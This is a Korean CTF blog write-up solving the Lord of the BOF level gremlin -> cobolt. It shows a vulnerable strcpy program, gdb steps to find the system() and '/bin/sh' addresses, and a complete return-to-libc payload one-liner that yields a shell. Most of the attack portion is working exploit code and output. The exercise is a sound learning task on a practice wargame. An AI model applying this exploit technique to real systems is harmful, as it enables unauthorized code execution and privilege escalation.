[LOB] - gremlin -> cobolt 풀이
/*
The Lord of the BOF : The Fellowship of the BOF
- cobolt
- small buffer
*/
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
LOB 두번째 문제인 gremlin -> cobolt 문제이다.
위 코드를 보면 buffer의 크기가 16bytes로 작아진 것을 볼 수 있다.
즉, buffer에 shellcode를 넣을 수 없다는 뜻이다.
따라서 필자는 RTL 공격 기법을 사용할 것이다.
RTL 공격 기법에 대한 설명은 아래 링크에 설명되어 있다.
https://lactea.kr/entry/bof-Return-to-Libc-RTL-%EA%B3%B5%EA%B2%A9-%EA%B8%B0%EB%B2%95?category=866608
RTL 공격을 하기 위해서는 system 주소와 /bin/sh 문자열의 주소가 필요하다.
우선 system 주소를 얻기 위해 아래와 같이 cobolt 바이너리 파일을 복사하고 이를 gdb로 까본다.
[gremlin@localhost gremlin]$mkdir tmp
[gremlin@localhost gremlin]$ cp cobolt ./tmp/cobolt_copy
[gremlin@localhost gremlin]$ cd ./tmp
[gremlin@localhost tmp]$ ls
cobolt_copy
[gremlin@localhost tmp]$ gdb -q cobolt_copy
(gdb)
system 함수를 찾기 위해서는 main 함수에 breakpoint를 걸고 p system 명령어로 system 함수의 주소를 찾는다.
system 함수의 주소는 0x40058ae0 이다.
(gdb) b *main
Breakpoint 1 at 0x8048430
(gdb) r
Starting program: /home/gremlin/tmp/cobolt_copy
Breakpoint 1, 0x8048430 in main ()
(gdb) p system
$3 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb)
그 다음 system 함수에 인자 값인 /bin/sh를 넣어주기 위해 /bin/sh 문자열을 찾아야한다.
아래 c코드로 /bin/sh 문자열을 찾는다.
#include <stdio.h>
#include <stdlib.h>
int main(int argc,char *argv[]) {
long shell;
shell = 0x40058ae0; // system 함수의 주소
while(memcmp((void*)shell,("/bin/sh"),8)) shell++;
printf("%p\n",shell);
}
위 c코드를 컴파일 하여 실행하면 /bin/sh 문자열의 주소는 0x400fbff9 임을 알 수 있다.
[gremlin@localhost tmp]$ gcc -o getString getString.c
[gremlin@localhost tmp]$ ./getString
0x400fbff9
[gremlin@localhost tmp]$
스택에 삽입할 payload는 다음과 같다.
[Dummy Code(20bytes)] + [system addr] + [Dummy Code(4bytes)] + [/bin/sh addr]
위 스택을 기준으로 payload를 짜 보면 아래와 같다.
./cobolt `python -c 'print "A"*20+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
위 명령어를 통해 아래 처럼 shell을 획득 한 것을 볼 수 있다.
buffer에 shellcode를 넣는 것 보다면 RTL로 한방에 되는 것을 보면 정말 쉬운 것 같다.
[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAA@AAAA@
bash$ whoami
cobolt
bash$ my-pass
euid = 502
hacking exposed
bash$
'🚩CTF' 카테고리의 다른 글
[LOB] - goblin -> orc 풀이 (0) | 2019.10.04 |
---|---|
[LOB] - cobolt -> goblin 풀이 (0) | 2019.10.04 |
[LOB] - gate -> gremlin 풀이 (0) | 2019.10.04 |
[webhacking.kr 2019 old] - challenge 18 (0) | 2019.10.01 |
[webhacking.kr 2019 old] - challenge 17 (0) | 2019.10.01 |
댓글
이 글 공유하기
다른 글
-
[LOB] - goblin -> orc 풀이
[LOB] - goblin -> orc 풀이
2019.10.04 -
[LOB] - cobolt -> goblin 풀이
[LOB] - cobolt -> goblin 풀이
2019.10.04 -
[LOB] - gate -> gremlin 풀이
[LOB] - gate -> gremlin 풀이
2019.10.04 -
[webhacking.kr 2019 old] - challenge 18
[webhacking.kr 2019 old] - challenge 18
2019.10.01